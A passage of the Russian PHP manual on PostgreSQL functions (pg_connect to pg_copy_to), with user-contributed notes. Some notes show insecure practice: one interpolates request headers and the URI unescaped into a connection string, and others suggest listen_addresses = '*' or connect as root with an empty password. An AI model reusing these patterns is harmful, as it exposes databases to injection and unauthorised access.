  • « pg_connect_poll
  • pg_connection_busy »
  • PHP Manual
  • Функции PostgreSQL
  • Открывает соединение с базой данных PostgreSQL

pg_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_connect — Открывает соединение с базой данных PostgreSQL

Описание

pg_connect(string $connection_string, int $flags = 0): PgSql\Connection|false

pg_connect() открывает соединение с базой данных PostgreSQL, определённое строкой connection_string.

При повторном вызове функции pg_connect() с теми же значениями параметров в connection_string функция вернёт существующее подключение. Чтобы принудительно создать новое соединение, необходимо передать строку подключения функции PGSQL_CONNECT_FORCE_NEW в качестве параметра flags.

Прежний синтаксис с множеством параметров $conn = pg_connect("host", "port", "options", "tty", "dbname") считается устаревшим.

Список параметров

connection_string

Строка connection_string может быть пустой строкой или содержать несколько параметров, разделённых пробелами. Каждый параметр указывается как keyword = value. Пробелы вокруг знака "равно" необязательны. Пустые строки в качестве значения или значения, содержащие пробелы отделяются одинарными кавычками, как например, keyword = 'a value'. Для записи одинарных кавычек и обратных слешей в качестве значений, их необходимо экранировать обратным слешем, то есть \' и \\.

Список основных ключевых слов: host, hostaddr, port, dbname (значение по умолчанию для параметра user), user, password, connect_timeout, options, tty (игнорируется), sslmode, requiressl (устарело в связи с использованием параметра sslmode), и service. Какие из этих аргументов будут обработаны, зависит от версии PostgreSQL.

Параметр options служит для установки параметров командной строки, которые обработаны сервером.

flags

Если в функцию передана константа PGSQL_CONNECT_FORCE_NEW, будет создаваться новое подключение, даже если connection_string идентична строке существующего подключения.

Если передана константа PGSQL_CONNECT_ASYNC, то соединение устанавливается асинхронным. Состояние соединения можно проверить с помощью функций pg_connect_poll() или pg_connection_status().

Возвращаемые значения

Возвращает экземпляр PgSql\Connection в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Connection; ранее возвращался ресурс (resource).

Примеры

Пример #1 Использование функции pg_connect()

<?php
$dbconn = pg_connect("dbname=mary");
//подключиться к базе "mary"

$dbconn2 = pg_connect("host=localhost port=5432 dbname=mary");
//подключиться к базе "mary" на хосте "localhost", порт "5432"

$dbconn3 = pg_connect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//подключиться к базе "mary" на хосте "sheep", используя имя пользователя и пароль

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_connect($conn_string);
//подключиться к базе "test" на хосте "sheep", используя имя пользователя и пароль

$dbconn5 = pg_connect("host=localhost options='--client_encoding=UTF8'");
//подключиться к базе на хосте "localhost" и передать параметр командной строки, задающий кодировку UTF-8
?>

Смотрите также

  • pg_pconnect() - Открывает постоянное соединение с сервером PostgreSQL
  • pg_close() - Закрывает соединение с базой данных PostgreSQL
  • pg_host() - Возвращает имя хоста, соответствующего подключению
  • pg_port() - Возвращает номер порта, соответствующий заданному соединению
  • pg_tty() - Возвращает имя терминала TTY, связанное с соединением
  • pg_options() - Получение параметров соединения с сервером баз данных
  • pg_dbname() - Определяет имя базы данных

User Contributed Notes

VLroyrenn 30-Jan-2019 07:31
For what it's worth, it should be noted that, while PHP will generally handle connection-reuse for you so long as you keep using the same connection strings, as in the following example:

<?php
$before_conn1 = microtime(true);
$db1 = pg_connect($conn_string);

$before_conn2 = microtime(true);
$db2 = pg_connect($conn_string);
$after_conn2 = microtime(true);

echo($before_conn2 - $before_conn1); // Takes ~0.03s
echo("\n");
echo($after_conn2 - $before_conn2); // Takes 0s
?>

...as nice as it would have been, this does not hold true for async connections; you have to manage those yourself and you can't follow up an async connection with a blocking one later on as an easy way to wait for the connection process to complete before sending queries.

<?php
$before_conn1 = microtime(true);
$db1 = pg_connect($conn_string, PGSQL_CONNECT_ASYNC);
sleep(1);

$before_conn2 = microtime(true);
$db2 = pg_connect($conn_string);
$after_conn2 = microtime(true);

echo($before_conn2 - $before_conn1); // Takes ~1s
echo("\n");
echo($after_conn2 - $before_conn2); // Takes ~0.025s
?>
Anonymous 21-Feb-2018 09:25
<?php

class Baza {
    const DNS='mysql:host=localhost;dbname=news;charset=utf8';
    const UZYTKOWNIK='root';
    const HASLO='';

    public $klient;

    function __construct(){
        $this->polacz();
    }
    public function polacz(){
    try{
        $this->klient=new PDO(
            self::DNS,
            self::UZYTKOWNIK,
            self::HASLO
        );
    }
    catch (PDOException $e){
        die('Wystapil nastepujacy blad bazy danych: '.$e->getMessage());
    }
    return true;
    }
}
lukasz dot wolczak at gmail dot com 23-Jul-2016 09:37
It is worth to know, that you can set application_name in connection string, consider this simple example:

<?php
$appName = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$connStr = "host=localhost port=5432 dbname=postgres user=postgres options='--application_name=$appName'";

//simple check
$conn = pg_connect($connStr);
$result = pg_query($conn, "select * from pg_stat_activity");
var_dump(pg_fetch_all($result));

?>

By doing this move on cli or cgi you can see in pgAdmin what scripts are running or what requests are running on database. You can extend configuration of postgres to track slow queries and print application name to logs. It was very usuful to me to find out what and where should I optimize.
floriparob at gmail dot com 12-Jul-2016 03:20
Using the "service" parameter as the connection string -- we found that the following functions:-

putenv("PGSERVICEFILE=/path/to/your/service/file/pg_service.conf");
$connect_string = ("service=testdb");
try {
   $pgconn_handle = pg_connect($connect_string);
   . . . . . etc.

Note:-
1) the environment variable has to point to the path AND file name.
2) the file has to be readable by Apache.

See:-

https://www.postgresql.org/docs/9.6/static/libpq-pgservice.html

for how to create your pg_service.conf
Anonymous 24-Apr-2015 06:41
If you get the following warning :
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not translate host name "server.your.trying.to.connect.to" to address:"
and the server you are trying to connect to is fine and the connecting itself should be working fine,
it might be the case that the postgres extension for PHP might be confused about something.
Try to restart your Apache to reinitialize the extension.
Anonymous 29-Sep-2014 07:50
Getting md5 passwords was confusing because of a lack of documentation:

- set up your pg_hba.conf in order to use md5 password instead of 'trust' or 'ident'
- check if your postgres.conf has 'password_encryption=on' (depending on the version this might already be 'on').
- make sure to restart your postgres process.
- in PHP you just supply the username and password in _plain_ text:
'host=localhost port=5432 dbname=megadb user=megauser password=holyhandbagsbatmanthispasswordisinplaintext'
The postgres PHP library will automagically do the md5 encoding for you, no need to do it yourself.
Dave 03-Jun-2013 12:40
If you use pgbouncer and unix socket
and you pgbouncer.ini looks like this
listen_port = 6432
unix_socket_dir = /tmp

you connect like this

pg_connect('host=/tmp port=6432 dbname=DB user=USER password=PASS');
dreamsoundaudio at gmail dot com 03-Sep-2011 10:06
Ubuntu/Debian users, specifically server versions: If you used Tasksel to build PostgreSQL, and you're banging your head against the wall with the "Fatal error: Call to undefined function pg_connect()" error, check that php5-pgsql is installed.

Tasksel apparently doesn't install it.
thakur at corexprts dot com 27-Oct-2010 01:45
One thing is to remember, whenever trying to use pg_connect, add the timeout parameter with it

<?php
$d=pg_connect('host=example.com user=pgsql dbname=postgres connect_timeout=5');
?>
infotirona at yahoo dot com 16-Aug-2010 06:33
It's strange how this "Fatal error: Call to undefined function pg_connect()" happens(when everything else is OK) in PHP version 5.3.3.

I was trying to connect to my db when I got that error message the firs time. My extensions path was OK, pgsql extension  should have been loaded from php.ini(i had enabled it before), Apache started-up without errors, but i still had the "Fatal error: Call to undefined function pg_connect()" message when i tried to connect.
Seaching a bit around i found something about dll libraries not working as they should, so deleted the new 5.3.3 version, downloaded the PHP 5.2.5 and configured it.

I'm using Windows XP Home SP3, Apache 2.2, PHP 5.2.5 and everything works fine now... ;)
gutostraube at gmail dot com 02-Oct-2009 06:51
It's possible connect to a PostgreSQL database via Unix socket using the pg_connect() function by the following two ways:

1) Using the socket path:

<?php
$conn = pg_connect('host=/var/run/postgresql user=username dbname=databasename');
?>

2) Omitting the host name/path:

<?php
$conn = pg_connect('user=username dbname=databasename');
?>

Note: in this case (omitting the host value), the default socket path will be used.
bgalloway at citycarshare dot org 27-Mar-2008 06:33
Beware about writing something like
<?php
function getdb_FAILS() {
    return pg_connect("...") or die('connection failed');
}
?>

It will return a boolean.  This will appear to be fine if you don't use the return value as a db connection handle, but will fail if you do.

Instead, use:
<?php
function getdb() {
    $db = pg_connect("...") or die('connection failed');
    return $db;
}
?>

which actually returns a handle.
tim at buttersideup dot com 28-Dec-2007 10:41
It's not explicitly stated here, but you can also connect to PostgreSQL via a UNIX domain socket by leaving the host empty.  This should have less overhead than using TCP e.g.:

$dbh = new PDO('pgsql:user=exampleuser dbname=exampledb password=examplepass');

In fact as the C library call PQconnectdb underlies this implementation, you can supply anything that this library call would take - the "pgsql:" prefix gets stripped off before PQconnectdb is called, and if you supply any of the optional arguments (e.g. user), then these arguments will be added to the string that you supplied...  Check the docs for your relevant PostgreSQL client library: e.g.

http://www.postgresql.org/docs/8.3/static/libpq-connect.html

If you really want, you can use ';'s to separate your arguments - these will just be converted to spaces before PQconnectdb is called.

Tim.
xourge 19-Aug-2007 09:17
remember that when you use a blank password there will be an error because of:
password= dbname= (...)
to fix this problem use '' in your $options variable
example:

$options = " host='localhost' port='5432' user='postgres' password='' dbname='test' ";
pg_connect($options);

*** careful: I used double ' after password=, not "
Sohel Taslim 02-Aug-2007 07:20
I got the same problem but I have to solve that in different way.
In my postgresql.conf file the following was commented.
So, I active that under Connection Settings-

# - Connection Settings -
tcpip_socket = true
borovik -at- gmail 03-Apr-2007 07:06
"If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
"
I solved this error just by setting listen_addresses = '*' in the postgresql.conf file. This error occurs probably despite of a name resolution to localhost, given in the "host" parameter. So you can set the host in the pg_connect() function.
Anonymous 10-Apr-2005 09:51
The values accepted by pg_connect's sslmode argument are: disable, allow, prefer, require
phpnet at benjamin dot schulz dot name 01-Sep-2004 04:28
if you need to open a new connection handle (i.e. for multiple pg_send_query()) use PGSQL_CONNECT_FORCE_NEW as second parameter to pg_connect()
Cybertinus 15-Dec-2003 01:47
If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
then you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
xzilla at users dot sourceforge dot net 09-Dec-2003 08:22
regarding the note from  matias at nospam dot projectcast dot com
on 12-Feb-2002 01:16, you do not need a user in the database with the same name a your web user with ANY version of postgresql.  The only time that would be a requirement ifs if you set your postgresql server to only allow IDENT based authentication  (which IIRC is the default on Red Hat systems, which might be what lead to the confusion).  For more info on the various authentication methods allowed by postgresql, check out http://www.postgresql.org/docs/7.4/static/client-authentication.html
derry at siliconriver.com dot au 07-Aug-2003 08:48
pg_connect seems to support SSL connections, on systems where Postgres has been compiled with ssl, i'm assuming this is since psql uses libpq to connect.
pg_connect can successfully connect, and use the "requiressl" argument.
jtate at php dot net 31-Dec-2002 02:36
If you use host=HOSTNAME in your pg_connect string when connecting to PostgreSQL databases newer than 7.1, you need to make sure that your postmaster daemon is started with the "-i" option.  Otherwise the connection will fail.  See http://www.postgresql.org/idocs/index.php?client-authentication.html for client authentication documentation.
matias at nospam dot projectcast dot com 12-Feb-2002 01:16
At least with Postgres 7.2, connecting to local postgresdatabase requires a user in the database with the same name as the user running apache, or the connection fails.
rolf at sir-wum dot de 12-Oct-2001 05:54
pg_connect() won't work with the authentication method 'crypt' in the pg_hba.conf. Took me an hour to figure that out till I remeberd some other issues with windows missing the crypt() call.
kayotix at yahoo dot com 14-Sep-2000 11:54
Little note that is buried in the install somewhere.  In Php 3, PostgreSQL support was activated by adding --with-postgresql=[DIR] to the options passed to ./configure.  With Php 4.0.2 (on Linux) the parameter was --with-pgsql.  The only place I found this was in the installing PHP on Unix section of the manual.
leace at post dot cz 21-Jul-2000 02:26
If you use PostgreSQL users for authenticating into your pg database rather than using your own authentication, always specify host directive in pg_connect and edit pg_hba.conf to authenticate from this host accordingly. Otherwise, PHP will connect as 'local' using UNIX domain sockets, which is set in pg_hba.conf to 'trust' by default (so you can connect using psql on console without specifying password) and everyone can connect to db _without password_ .


Проверяет, занято ли соединение в данный момент.

  • « pg_connect
  • pg_connection_reset »
  • PHP Manual
  • Функции PostgreSQL
  • Проверяет, занято ли соединение в данный момент.

pg_connection_busy

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_busy — Проверяет, занято ли соединение в данный момент.

Описание

pg_connection_busy(PgSql\Connection $connection): bool

pg_connection_busy() определяет, занято соединение в данный момент или нет. Соединение занято, когда предыдущий запрос ещё выполняется. Функция pg_get_result() также блокирует соединение на время своего выполнения.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Возвращает true, если соединение занято, в противном случае false.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_connection_busy()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединится");
$bs = pg_connection_busy($dbconn);
if ($bs) {
echo 'Соединение занято';
} else {
echo 'Соединение не занято';
}
?>

Смотрите также

  • pg_connection_status() - Определяет состояние подключения
  • pg_get_result() - Получение результата асинхронного запроса

User Contributed Notes

VLroyrenn 19-Jun-2019 01:35
There doesn't seem to be any documented way of using this function here, and I'm sore most people trying this are going to default to using a busy loop if there is nothing else to do while waiting (in which case pg_get_result would be better, since it just blocks until a result is ready) or a sleep loop if trying to cancel the query after a certain time.

The C documentation for libPq reccomends using PQisBusy (the C equivalent of pg_connection_busy) by waiting on a socket instead, which lets you timeout if the state doesn't change after a certain period but immediately react if it changes. If you want to cancel after a timeout, you would have something like this :

<?php
class SomeKindOfTimeoutException extends Exception { }

class SomeKindOfSQLErrorException extends Exception { }

function query_with_timeout($conn, $query, $timeout_seconds) {
    assert(pg_get_result($conn) === false); // Ensure that nothing is running

    $socket = [pg_socket($conn)];
    $null = [];

    $dispatch_ok = pg_send_query($conn, $query);

    $still_running = pg_connection_busy($conn);

    while($still_running) {
        // https://www.postgresql.org/docs/current/libpq-async.html
        // "A typical application using these functions will have a main loop that uses select() or poll() to wait for all the conditions that it must respond to."
        // "One of the conditions will be input available from the server, which in terms of select() means readable data on the file descriptor identified by PQsocket."
        // PQisBusy is mapped to pg_connection_busy
        stream_select($socket, $null, $null, $timeout_seconds); // Will wait on that socket until that happens or the timeout is reached
        $still_running = pg_connection_busy($conn); // False on timeout, true if complete

        // You could keep polling like that, this just breaks and throws immediately on first loop
        if ($still_running) {
            $cancel_ok = pg_cancel_query($conn);
            throw new SomeKindOfTimeoutException("TIMEOUT");
        }
    }

    $res = pg_get_result($conn);

    try {
        $error_msg = pg_result_error($res);
        if ($error_msg) throw new SomeKindOfSQLErrorException($error_msg);

        return pg_fetch_all($res);
    } finally {
        pg_free_result($res);
    }
}

$conn_string = "host=localhost port=5433 dbname=postgres";
$db = pg_connect($conn_string);

query_with_timeout($db, "SELECT pg_sleep(10)", 3); // Will throw
?>
levi at alliancesoftware dot com dot au 08-Nov-2009 05:00
pg_connection_busy() returning true does not necessarily mean that there are results waiting for pg_get_result(); it also stays true for some time after a query that causes any sort of postgres error. (See http://bugs.php.net/bug.php?id=36469)


Сброс подключения (переподключение)

  • « pg_connection_busy
  • pg_connection_status »
  • PHP Manual
  • Функции PostgreSQL
  • Сброс подключения (переподключение)

pg_connection_reset

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_reset — Сброс подключения (переподключение)

Описание

pg_connection_reset(PgSql\Connection $connection): bool

pg_connection_reset() сбрасывает подключение. Может быть использована для устранения ошибок.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_connection_reset()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться");
$dbconn2 = pg_connection_reset($dbconn);
if ($dbconn2) {
echo "Успешный сброс\n";
} else {
echo "Неудачный сброс\n";
}
?>

Смотрите также

  • pg_connect() - Открывает соединение с базой данных PostgreSQL
  • pg_pconnect() - Открывает постоянное соединение с сервером PostgreSQL
  • pg_connection_status() - Определяет состояние подключения

User Contributed Notes

There are no user contributed notes for this page.


Определяет состояние подключения

  • « pg_connection_reset
  • pg_consume_input »
  • PHP Manual
  • Функции PostgreSQL
  • Определяет состояние подключения

pg_connection_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_status — Определяет состояние подключения

Описание

pg_connection_status(PgSql\Connection $connection): int

pg_connection_status() возвращает состояние переданного в качестве аргумента соединения connection.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

PGSQL_CONNECTION_OK либо PGSQL_CONNECTION_BAD.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_connection_status()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться");
$stat = pg_connection_status($dbconn);
if ($stat === PGSQL_CONNECTION_OK) {
echo 'Статус соединения: доступно';
} else {
echo 'Статус соединения: разорвано';
}
?>

Смотрите также

  • pg_connection_busy() - Проверяет, занято ли соединение в данный момент.

User Contributed Notes

Anonymous 30-Mar-2018 01:38
The wiki page doesn't currently reflect that, but if you're passing PGSQL_CONNECT_ASYNC to pg_connect, creating the connection won't block and transitions through extra states expressed by those constants.

PGSQL_CONNECTION_AUTH_OK
PGSQL_CONNECTION_AWAITING_RESPONSE
PGSQL_CONNECTION_MADE
PGSQL_CONNECTION_SETENV
PGSQL_CONNECTION_SSL_STARTUP
PGSQL_CONNECTION_STARTED
Mathieu De Zutter 02-Aug-2006 05:45
Being careful with the comparison operators is not enough:

<?php
if (pg_connection_status($link)===PGSQL_CONNECTION_BAD)
   reconnect($link);
?>
The reconnect won't be trigged when $link is null.

The manual is just wrong, there are three return values: PGSQL_CONNECTION_OK, PGSQL_CONNECTION_BAD, null
david dot tulloh at infaze dot com dot au 14-Jun-2005 08:33
I think zytox is incorrect, at least in PHP 5.0.4.
It returns null, but you have to be careful with your comparison operators.

As an example:
<?php
unset($null);
if (pg_connection_status($null)===PGSQL_CONNECTION_OK)
    echo 'this is not called';
if (pg_connection_status($null)==PGSQL_CONNECTION_OK)
    echo 'this is called because NULL==0 is true';
?>
zytox at hotmail dot com 02-Apr-2005 10:34
If the connection variable is NULL this function returns 0 in PHP 5.0.2. Havent figured out any more erratic values for the connection variable but be careful.


Читает вводные данные на соединении

  • « pg_connection_status
  • pg_convert »
  • PHP Manual
  • Функции PostgreSQL
  • Читает вводные данные на соединении

pg_consume_input

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_consume_input — Читает вводные данные на соединении

Описание

pg_consume_input(PgSql\Connection $connection): bool

pg_consume_input() принимает любые входные данные, ожидающие чтения с сервера базы данных.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

true, если ошибки не возникло, или false, если произошла ошибка. Обратите внимание, что true не обязательно указывает, что входные данные ожидали чтения.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

  • « pg_consume_input
  • pg_copy_from »
  • PHP Manual
  • Функции PostgreSQL
  • Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

pg_convert

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_convert — Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

Описание

pg_convert(
PgSql\Connection $connection,
string $table_name,
array $values,
int $flags = 0
): array|false

pg_convert() проверяет и преобразовывает значения из values в приемлемые для SQL-сервера. Необходимо, чтобы существовала таблица table_name, а количество колонок в ней должно быть не меньше, чем значений в массиве values. Имена колонок в таблице table_name должны совпадать с ключами массива values, типы данных значений массива также должны совпадать с типами данных соответствующих колонок. В случае удачной конвертации функция возвращает массив преобразованных значений, иначе возвращает false.

Замечание:

Булевы значения преобразуются в булев тип PostgreSQL. Строковые представления булевого значения также поддерживаются. null преобразуется в PostgreSQL NULL.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

Имя таблицы базы данных.

values

Данные для преобразования.

flags

Одна из констант PGSQL_CONV_IGNORE_DEFAULT, PGSQL_CONV_FORCE_NULL или PGSQL_CONV_IGNORE_NOT_NULL, либо их комбинация.

Возвращаемые значения

Массив (array), содержащий преобразованные данные или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_convert()

<?php
$dbconn = pg_connect('dbname=foo');

$tmp = array(
'author' => 'Joe Thackery',
'year' => 2005,
'title' => 'My Life, by Joe Thackery'
);

$vals = pg_convert($dbconn, 'authors', $tmp);
?>

Смотрите также

  • pg_meta_data() - Получение метаданных таблицы
  • pg_insert() - Заносит данные из массива в таблицу базы данных
  • pg_select() - Выбирает записи из базы данных
  • pg_update() - Обновление данных в таблице
  • pg_delete() - Удаляет записи

User Contributed Notes

VLroyrenn 23-Mar-2018 03:57
Another thing that's not well documented is that (as of PHP 7.0/7.1) pg_convert doesn't like non-scalar types and will fail (but not throw just emit an E_WARNING and return false) if you pass it anything other than a string or a number, including an array or something like a DateTime. If you want to insert those types, you actually have to convert those yourself.

Also, somewhat surprisingly, $table_name is not compatible with the output of pg_?escape_?identifier, or seemingly any other kind of escaping.
Hayley Watson 16-Jul-2017 02:13
This will only apply the appropriate escaping and such appropriate for embedding the PHP value into an SQL statement.

It does (by default) check for nulls when the column is marked NOT NULL, and it will complain about trying to convert strings for an integer column (floats will be truncated).

Beyond the barest checking of syntax, however, it does NOT verify that the given value is a legitimate value for the column type.

<?php
// Assuming smallints.smallintis a smallint (-32768..32767) type column
foreach([-1234,
    1234,
    0,
    32767,
    -32768,
    32768,  // bogus value for smallint type
    45.8,   // gets truncated to 45
    400000, // bogus value for smallint type
    ] as $smallint)
{
    $tmp = ['smallint' => $smallint];
    $vals = pg_convert($dbconn, 'smallints', ['smallint' => $smallint]);
    echo $vals['"smallint"'],"\n";  // Notice the column name is also made SQL-safe
}

// Assuming uuids.uuid is a UUID type column
foreach(['a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11',
    'A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11',
    'a0eebc999c0b4ef8bb6d6bb9bd380a11',
    '{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}',
    'Invalid Not-a-UUID',
    '{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}',
    'a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11',
    ] as $uuid)
{
    $tmp = ['uuid' => $uuid];
    $vals = pg_convert($dbconn, 'uuids', ['uuid' => $uuid]);
    echo $vals['"uuid"'],"\n";
}

?>

All of the above data values will be "converted" - even the invalid ones - without complaint.
gorhas at gmail dot com 07-Oct-2014 08:41
There is a problem when using interval.
If in the array
"time_pause" => '00:30:00'
and time_pause is an interval
the insert fails
pg_insert(): '00:30:00' does not match with  '^(@?[ \t]+)?((([-+]?[ \t]+)?[0-9]+(\.[0-9]*)?[ ...
31-Mar-2004 08:02
The only options that I see are:

PGSQL_CONV_IGNORE_DEFAULT  - Do not use DEAFULT value by removing field from returned array
PGSQL_CONV_FORCE_NULL - Convert to NULL if string is null string
PGSQL_CONV_IGNORE_NOT_NULL  - Ignore NOT NULL constraints

These are constants, so don't quote them or anything.
dharana at dharana dot net 12-May-2003 06:28
I've found "options" possible values:

PG_CONV_CHECK - check only
PG_CONV_STRICT - raise warning for non fatal error
PG_CONV_QUOTE - add quote around values for vchar, text datetime.
PG_CONV_SLASH - add slashes if it needed.
PG_CONV_NULLCHK - check values are defined for NOT NULL fields.
PG_CONV_NO_DEFAULT - ignore default value even if value is empty string.


Вставляет записи из массива в таблицу

  • « pg_convert
  • pg_copy_to »
  • PHP Manual
  • Функции PostgreSQL
  • Вставляет записи из массива в таблицу

pg_copy_from

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_copy_from — Вставляет записи из массива в таблицу

Описание

pg_copy_from(
PgSql\Connection $connection,
string $table_name,
array $rows,
string $separator = "\t",
string $null_as = "\\\\N"
): bool

pg_copy_from() вставляет записи в таблицу из массива rows. В ходе выполнения вызывает SQL-команду COPY FROM для вставки записей.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

Имя таблицы, в которую копируются значения из rows.

rows

Массив (array) данных для копирования в table_name. Каждое значение в rows становится строкой в table_name. Каждое значение массива rows должно быть строкой с разделителем, содержащей значения для вставки в каждое поле таблицы. Значения должны заканчиваться символом перевода строки.

separator

Символ, отделяющий значения друг от друга в каждом элементе массива rows. По умолчанию \t.

null_as

Определяет, каким образом значения SQL NULL представлены в массиве rows. По умолчанию \\N ("\\\\N").

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_copy_from()

<?php
$db = pg_connect("dbname=publisher") or die("Не удалось подключиться");

$rows = pg_copy_to($db, $table_name);

pg_query($db, "DELETE FROM $table_name");

pg_copy_from($db, $table_name, $rows);
?>

Смотрите также

  • pg_copy_to() - Копирует данные из таблицы в массив

User Contributed Notes

Rainer Perske 08-Jan-2023 09:25
To solve the problem of how many backslashes to use for the parameters $separator and $null_as: The backslashes are interpreted twice, first by PHP and then by PostgreSQL. So write four backslashes to indicate one backslash in the input data. So both '\\\\N' and as "\\\\N" become NULL AS E'\\N' meaning the same as NULL AS '\N' in the internally used SQL statement.

The loaded input data must be backslash-escaped. According to the PostgreSQL documentation, you can use the following escape sequences:

\\ = Backslash (ASCII 92)
\b = Backspace (ASCII 8)
\t = Tab (ASCII 9)
\n = Newline (ASCII 10)
\v = Vertical tab (ASCII 11)
\f = Form feed (ASCII 12)
\r = Carriage return (ASCII 13)
\000 (Backslash followed by one to three octal digits) = the byte with that numeric code
\x00 (Backslash x followed by one or two hex digits) = the byte with that numeric code

With the default setting, a data field containing only \N (one non-escaped backslash and an N) indicates a NULL value. This default value \N has been chosen because it does not collide with properly encoded data.
smcbride at msn dot com 29-Jul-2020 05:03
When using this function, don't get bit by the double quote (") vs. single quote (') differences.  It is a small thing, but the error messaging is misleading.  If you use a single quote, you will see the \t separated values all try to be inserted into the first field.

Small consideration, but will save someone who is working late and can't get these functions to work.
karlo dot petravic at hotmail dot com 02-Jul-2019 08:20
As table name you can also specify columns you want imported.

Will import all columns:
<?php
pg_copy_from($db, 'cpm.ics', $rows);
?>

Will import only specified columns:
<?php
pg_copy_from($db, 'cpm.ics (type, product, date, count, amount)', $rows);
?>
Dave 25-Feb-2014 08:26
Default is "\\\N" not "\\N" at least in php 5.4

pg_copy_from($db, $table_name, "\t", "\\\N")
Dave 26-Jan-2012 10:40
As of postgresql 9.1 "standard_conforming_strings" is set to on

This will not work anymore
<?php
$copy_message = "1\t\\N\t300";
pg_copy_from($db, "message", $copy_message);
?>
result will be a "N" in that field. if the field allow text that is else it will fail to insert the post.

simple fix
<?php
$copy_message = "1\t\\NULL\t300";
pg_copy_from($db, "message", $copy_message, "\t","\\NULL");
?>
Dave 18-Feb-2011 02:39
Fix for "Copy command failed: ERROR: literal carriage return
found in data" or
"Copy command failed: ERROR: missing data for column
"message" CONTEXT: COPY message, line 1:"

<?php
$message = "HEJ\rHEJ\nHEJ\r\nHEJ\n\rHEJ\tHELLO\\";

$message = addslashes($message);

$message = str_replace(
  array("\n","\r","\t"),
  array("\\n","\\r","\\t"),
  $message);

$copy_message = "1\t". $message ."\t300";

pg_copy_from($db, "message", $copy_message);
?>
Anonymous 11-Jun-2009 03:08
see also: pg_put_line for a solution that does not require buffering of all the data to be copied,
kapouer_php at melix dot org 26-Aug-2007 02:24
pg syntax is :
COPY test (cola, colb, colc) FROM stdin;
...

this function doesn't let you in which order the columns are !
vlad at php dot net 19-Mar-2003 01:38
By default NULL values are a backslash followed with capital N ("\\N").

Also, you can't insert entries with OIDs (I've added it to my TODO list though)
carl at thep.lu.se 10-Sep-2002 03:06
Something needs to be said about the format of the array.
Judging by what I've seen, it's pretty much what you get
from loading a tab-separated file with file(). That is, the
lines are linefeed-terminated and there's no need to have
an extra line with "\.". On the other hand, when I try using this
command the connection to the server ends up in some odd
state and is then lost:
PHP Warning:  U?S?o() query failed: server closed the connection unexpectedly

I think it might be safer to use the lower-level function
pg_put_line() for now.


Копирует данные из таблицы в массив

  • « pg_copy_from
  • pg_dbname »
  • PHP Manual
  • Функции PostgreSQL
  • Копирует данные из таблицы в массив

pg_copy_to

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_copy_to — Копирует данные из таблицы в массив

Описание

pg_copy_to(
PgSql\Connection $connection,
string $table_name,
string $separator = "\t",
string $null_as = "\\\\N"
): array|false

pg_copy_to() копирует данные из таблицы в массив. Для получения записей посылает серверу команду SQL COPY TO.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

